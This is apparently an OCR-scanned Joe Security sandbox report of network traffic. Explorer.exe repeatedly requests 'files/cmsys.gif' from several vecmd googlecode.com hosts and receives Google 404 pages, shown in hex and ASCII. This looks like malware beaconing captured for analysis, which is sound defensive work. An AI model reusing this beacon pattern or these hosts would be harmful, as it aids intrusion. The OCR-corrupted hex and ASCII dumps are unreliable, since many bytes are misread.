User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: vecmd03.googlecode.com

Connection: Keep-Alive
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kBytes

Timestamp T Direction
Aug 5, 2022 1381 IN
09:09:54.100311995
CEST
Session ID Source IP Source Port
15 192.168.2.4 49783
. kBytes . .
Ti Di
imestamp transferred irection
Aug 5, 2022 1386 ouT
09:10:06.900579929
CEST

Copyright Joe Security LLC 2022

142.250.145.82 80

Data

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Referrer-Policy: no-referrer

Content-Length: 1576

Date: Fri, 05 Aug 2022 07:09:54 GMT

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 65 6e 3e Oa 20 20 3c 6d 65
74612063 6861 72 73 65 74 3d 75 74 66 2d 38 3e Oa 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74
20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2¢ 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6C
65 3d 31 2¢c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e Oa 20 20 3c 74 69 74 6¢ 65 3e 45 72 72 6f 7
22034 3034 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6¢ 65 3e 0a 20 20 3¢ 73 74 79 6¢ 65 3e Oa 20
202020 2a7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6¢ 2c 63 6f 64 65 7b 66 6f 6e 74 3a
313570782f323270782061 726961 6¢ 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6¢ 7b 62 61 63 6b 67 72 6f
75 6e 64 3a 23 66 66 66 3b 63 6f 6¢ 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d
61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69
67 68 74 3231 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b
62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72
72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69
6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65
72 66 6¢ 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6¢ 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74
69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61
6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f
6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d
72 69 67 68 74 3a 30 7d 7d 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6€ 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67
6¢C 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6C
65 6¢ 6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67
69 6e 2d 6¢ 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69
6e 2d 72 65 73 6f 6¢ 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72
6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢C 65
6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6€ 67 29 20 6e 6f 2d
72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67
65 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f
6f 67 6¢ 65 6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6C 65 6¢C 6f 67 6f 5f 63 6f 6 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6 67 29
20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e
2d 64 65 76 69 63 65 2d 70 69 78 65 6¢ 2d 72 61 74 69 6f 3a 32 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a
7572 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64

Data Ascii: <IDOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1,
minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,co
deffont:15px/22px arial,sans-serifthtmi{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-widt
h:390px;min-height:180px;padding:30px 0 15px}* > body{background:url(//www.google.com/images/errors/robot.png)
100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a
img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-
right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-
repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#ogo{background:url(//www.google.com
/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(
/lwww.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) O}}@media only screen and (-webk
it-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand

Destination IP  Destination Port Process

C:\Windows\System\explorer.exe

Data

GET ffiles/cmsys.gif HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: vecmd01.googlecode.com

Connection: Keep-Alive
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kBytes

Timestamp A Direction
Aug 5, 2022 1388 IN
09:10:06.928702116
CEST
Session ID Source IP Source Port
16 192.168.2.4 49784
. kBytes . .
Ti Di
imestamp transferred irection
Aug 5, 2022 1389 ouT
09:10:10.252279043
CEST

Copyright Joe Security LLC 2022

142.250.145.82 80

Data

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Referrer-Policy: no-referrer

Content-Length: 1576

Date: Fri, 05 Aug 2022 07:10:06 GMT

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 65 6e 3e Oa 20 20 3c 6d 65
74612063 6861 72 73 65 74 3d 75 74 66 2d 38 3e Oa 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74
20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2¢ 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6C
65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e Oa 20 20 3c 74 69 74 6¢ 65 3e 45 72 72 6f 7
22034 3034 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6¢ 65 3e 0a 20 20 3¢ 73 74 79 6¢ 65 3e Oa 20
202020 2a7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6¢ 2c 63 6f 64 65 7b 66 6f 6e 74 3a
313570782f323270 782061726961 6¢ 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6¢ 7b 62 61 63 6b 67 72 6f
75 6e 64 3a 23 66 66 66 3b 63 6f 6¢ 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d
61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69
67 68 74 3231 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b
62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72
72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69
6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65
72 66 6¢ 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6¢ 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74
69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61
6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f
6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d
72 69 67 68 74 3a 30 7d 7d 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6€ 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67
6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6C
65 6¢ 6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67
69 6e 2d 6¢ 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69
6e 2d 72 65 73 6f 6¢ 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72
6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢C 65
6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6€ 67 29 20 6e 6f 2d
72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67
65 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f
6f 67 6¢ 65 6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6C 65 6¢C 6f 67 6f 5f 63 6f 6 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29
20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e
2d 64 65 76 69 63 65 2d 70 69 78 65 6¢ 2d 72 61 74 69 6f 3a 32 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a
7572 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64

Data Ascii: <IDOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1,
minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,co
deffont:15px/22px arial,sans-serifthtmi{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-widt
h:390px;min-height:180px;padding:30px 0 15px}* > body{background:url(//www.google.com/images/errors/robot.png)
100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a
img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-
right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-
repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#ogo{background:url(//www.google.com
l/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(
Ilwww.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) O}}@media only screen and (-webk
it-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand

Destination IP  Destination Port Process

C:\Windows\System\explorer.exe

Data

GET ffiles/cmsys.gif HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: vecmd02.googlecode.com

Connection: Keep-Alive
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kBytes

Timestamp A Direction
Aug 5, 2022 1390 IN
09:10:10.279514074
CEST
Session ID Source IP Source Port
17 192.168.2.4 49785
. kBytes . .
Ti Di
imestamp transferred irection
Aug 5, 2022 1392 ouT
09:10:12.731399059
CEST

Copyright Joe Security LLC 2022

142.250.145.82 80

Data

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Referrer-Policy: no-referrer

Content-Length: 1576

Date: Fri, 05 Aug 2022 07:10:10 GMT

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 65 6e 3e Oa 20 20 3c 6d 65
74612063 6861 72 73 65 74 3d 75 74 66 2d 38 3e Oa 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74
20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2¢ 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6C
65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e Oa 20 20 3c 74 69 74 6¢ 65 3e 45 72 72 6f 7
22034 3034 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6¢ 65 3e 0a 20 20 3¢ 73 74 79 6¢ 65 3e Oa 20
202020 2a7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6¢ 2c 63 6f 64 65 7b 66 6f 6e 74 3a
313570782f323270782061 726961 6¢ 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6¢ 7b 62 61 63 6b 67 72 6f
75 6e 64 3a 23 66 66 66 3b 63 6f 6¢ 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d
61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69
67 68 74 3231 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b
62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72
72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69
6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65
72 66 6¢ 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6¢ 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74
69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61
6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f
6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d
72 69 67 68 74 3a 30 7d 7d 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6€ 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67
6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6C
65 6¢ 6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67
69 6e 2d 6¢ 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69
6e 2d 72 65 73 6f 6¢ 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72
6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢C 65
6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6€ 67 29 20 6e 6f 2d
72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67
65 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f
6f 67 6¢ 65 6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6C 65 6¢C 6f 67 6f 5f 63 6f 6 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29
20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e
2d 64 65 76 69 63 65 2d 70 69 78 65 6¢ 2d 72 61 74 69 6f 3a 32 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a
7572 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64

Data Ascii: <IDOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1,
minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,co
deffont:15px/22px arial,sans-serifthtmi{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-widt
h:390px;min-height:180px;padding:30px 0 15px}* > body{background:url(//www.google.com/images/errors/robot.png)
100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a
img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-
right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-
repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#ogo{background:url(//www.google.com
l/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(
Ilwww.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) O}}@media only screen and (-webk
it-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand

Destination IP  Destination Port Process

C:\Windows\System\explorer.exe

Data

GET ffiles/cmsys.gif HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: vecmd03.googlecode.com

Connection: Keep-Alive
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kBytes

Timestamp e Direction
Aug 5, 2022 1393 IN
09:10:12.758972883
CEST
Session ID Source IP Source Port
18 192.168.2.4 49791
. kBytes . .
Ti Di
imestamp transferred irection
Aug 5, 2022 1453 ouT
09:10:23.981744051
CEST

Copyright Joe Security LLC 2022

142.250.145.82 80

Data

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Referrer-Policy: no-referrer

Content-Length: 1576

Date: Fri, 05 Aug 2022 07:10:12 GMT

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 65 6e 3e Oa 20 20 3c 6d 65
74612063 6861 72 73 65 74 3d 75 74 66 2d 38 3e Oa 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74
20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2¢ 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6C
65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e Oa 20 20 3c 74 69 74 6¢ 65 3e 45 72 72 6f 7
22034 3034 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6¢ 65 3e 0a 20 20 3¢ 73 74 79 6¢ 65 3e Oa 20
202020 2a7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6¢ 2c 63 6f 64 65 7b 66 6f 6e 74 3a
313570782f323270782061 726961 6¢ 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6¢ 7b 62 61 63 6b 67 72 6f
75 6e 64 3a 23 66 66 66 3b 63 6f 6¢ 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d
61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69
67 68 74 3231 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b
62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72
72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69
6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65
72 66 6¢ 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6¢ 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74
69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61
6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f
6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d
72 69 67 68 74 3a 30 7d 7d 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6€ 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67
6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6C
65 6¢ 6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67
69 6e 2d 6¢ 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69
6e 2d 72 65 73 6f 6¢ 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72
6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢C 65
6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6€ 67 29 20 6e 6f 2d
72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67
65 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f
6f 67 6¢ 65 6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6C 65 6¢C 6f 67 6f 5f 63 6f 6 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6 67 29
20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e
2d 64 65 76 69 63 65 2d 70 69 78 65 6¢ 2d 72 61 74 69 6f 3a 32 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a
7572 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64

Data Ascii: <IDOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1,
minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,co
deffont:15px/22px arial,sans-serifthtmi{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-widt
h:390px;min-height:180px;padding:30px 0 15px}* > body{background:url(//www.google.com/images/errors/robot.png)
100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a
